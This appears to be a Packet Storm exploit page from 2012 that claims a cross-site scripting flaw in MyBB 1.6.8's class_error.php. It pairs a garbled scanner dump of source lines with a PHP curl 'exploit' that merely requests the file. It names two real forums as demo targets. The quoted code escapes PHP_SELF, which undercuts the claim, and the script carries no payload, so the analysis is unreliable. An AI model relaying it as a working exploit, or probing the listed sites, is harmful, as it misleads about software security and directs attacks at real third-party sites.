what you don't know can hurt you

MyBB 1.6.8 Cross Site Scripting

MyBB 1.6.8 Cross Site Scripting
Posted Oct 15, 2012
Authored by 3xpl0!t3r

MyBB version 1.6.8 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 17984d1894ae4cdc4ecda13dbeca2f29

MyBB 1.6.8 Cross Site Scripting

Change Mirror Download
#########################################################
Exploit Title : Mybb 1.6.8 Cross Site Scripting
Author : 3xpl0!t3r
Discovered By : Sec-Advisor.Org
Date : 12 Oct 2012
Home : http://Sec-Advisor.Org
#########################################################
Source : http://www.mybb.com/download/latest

file : /inc/class_error.php

510: echo echo <<<EOF <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>{$mybb->settings['bbname']} - Internal Error</title> <style type="text/css"> body { background: #efefef; color: #000; font-family: Verdana; font-size: 12px; text-align: center; line-height: 1.4; } a:link { color: #026CB1; text-decoration: none; } a:visited { color: #026CB1; text-decoration: none; } a:hover, a:active { color: #000; text-decoration: underline; } #container { width: 600px; padding: 20px; background: #fff; border: 1px solid #e4e4e4; margin: 100px auto; text-align: left; } h1 { margin: 0; background: url({$_SERVER['PHP_SELF']}?action=mybb_logo) no-repeat; height: 82px; width: 248px; } #content { border: 1px solid #B60101; background: #fff; } h2 { font-size: 12px; padding: 4px; background: #B60101; color: #fff; margin: 0; } .invisible { display: none; } #error { padding: 6px; } #footer { font-size: 11px; border-top: 1px solid #ccc; padding-top: 10px; } dt { font-weight: bold; } </style> </head> <body> <div id="container"> <div id="logo"> <h1><a href="http://mybb.com/" title="MyBulletinBoard"><span class="invisible">MyBB</span></a></h1> </div> <div id="content"> <h2>{$title}</h2> <div id="error"> {$error_message} <p id="footer">Please contact the <a href="http://mybb.com">MyBB Group</a> for support.</p> </div> </div> </div> </body> </html> EOF;
508: $_SERVER['PHP_SELF'] = htmlspecialchars_uni($_SERVER['PHP_SELF']);
406: $title = "MyBB Internal Error"; // if($type == MYBB_SQL) else ,
391: $title = "MyBB SQL Error"; // if($type == MYBB_SQL),
489: $error_message .= "</dl>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
487: $error_message .= "<dt>Backtrace:</dt><dd>{$backtrace}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if($backtrace && !in_array($type, $this->mybb_error_types)),
481: $error_message .= "<dt>Code:</dt><dd>{$code}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)),
415: $error_message .= "<dt>Location:</dt><dd>File: {$file}<br />Line: {$line}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)),
412: $error_message .= "<dt>Error Message:</dt>\n<dd>{$message}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
411: $error_message .= "<dt>Error Type:</dt>\n<dd>{$this->error_types[$type]} ($type)</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
410: $error_message .= "<dl>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
407: $error_message = "<p>MyBB has experienced an internal error and cannot continue.</p>"; // if($type == MYBB_SQL) else ,
401: $error_message .= "</dl>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
399: $error_message .= "<dt>Query:</dt>\n<dd>{$message['query']}</dd>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if($message != ""),
396: $error_message .= "<dt>SQL Error:</dt>\n<dd>{$message['error_no']} - {$message['error']}</dd>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
395: $error_message .= "<dl>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
392: $error_message = "<p>MyBB has experienced an internal SQL error and cannot continue.</p>"; // if($type == MYBB_SQL),
392: $error_message = "<p>MyBB has experienced an internal SQL error and cannot continue.</p>"; // if($type == MYBB_SQL),
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
478: $code = nl2br($code); // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if($parser_exists) else ,
474: $code = $parser->mycode_parse_php ($code, true); // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if($parser_exists),
451: $code .= $line + 3 . ". " . $code_pre[$line+2]; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if(isset($code_pre)),
446: $code .= $line + 2 . ". " . $code_pre[$line+1]; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if(isset($code_pre)),

requires:

502: if(!headers_sent() && !defined("IN_INSTALL") && !defined("IN_UPGRADE"))
380: ⇓ function output_error($type, $message, $file, $line)

#########################################################
vulnerability concept:

$_GET + echo() = Cross Site Scripting

vulnerability description:

An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability. User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.

#########################################################
Exploit :

#!/usr/bin/php -f
<?php
#
# class_error.php curl exploit
#

//
// HTTP SERVER,
//

$target = $argv[1];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/mybb/inc/class_error.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 5);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 5);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>

#########################################################
D3m0 :

www.lurkerlounge.com/forums/inc/class_error.php

http://www.spyrax.net/forums/inc/class_error.php

#########################################################
We are : 3xpl0!t3r | IR313 | ICA
Tnx Of : Nafsh


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close